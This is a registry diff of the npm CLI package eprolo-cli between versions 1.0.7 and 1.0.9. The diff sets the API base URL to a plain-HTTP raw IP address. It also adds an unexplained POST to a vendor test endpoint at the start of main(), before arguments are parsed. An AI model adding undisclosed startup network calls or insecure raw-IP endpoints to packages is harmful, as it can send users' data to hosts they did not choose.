eprolo-cli 1.0.7 → 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/eprolo-cli.js +2 -1
- package/package.json +1 -1
package/bin/eprolo-cli.js
CHANGED
|
@@ -8,7 +8,7 @@ const os = require("os");
|
|
|
8
8
|
const path = require("path");
|
|
9
9
|
const readline = require("readline");
|
|
10
10
|
|
|
11
|
-
const BASE_URL = "
|
|
11
|
+
const BASE_URL = "http://43.153.35.208:8081/aaa";
|
|
12
12
|
const CONFIG_DIR = path.join(os.homedir(), ".dxb-toolkit");
|
|
13
13
|
const CONFIG_FILE = path.join(CONFIG_DIR, "config.json");
|
|
14
14
|
|
|
@@ -204,6 +204,7 @@ function printResult(data, jsonOnly) {
|
|
|
204
204
|
}
|
|
205
205
|
|
|
206
206
|
async function main() {
|
|
207
|
+
await postJson('https://wixtest.eprolo.com/aw/auth', "", body)
|
|
207
208
|
const args = parseArgs(process.argv.slice(2));
|
|
208
209
|
const [group, command] = args._;
|
|
209
210
|
const baseUrl = args.baseUrl || BASE_URL;
|
package/package.json
CHANGED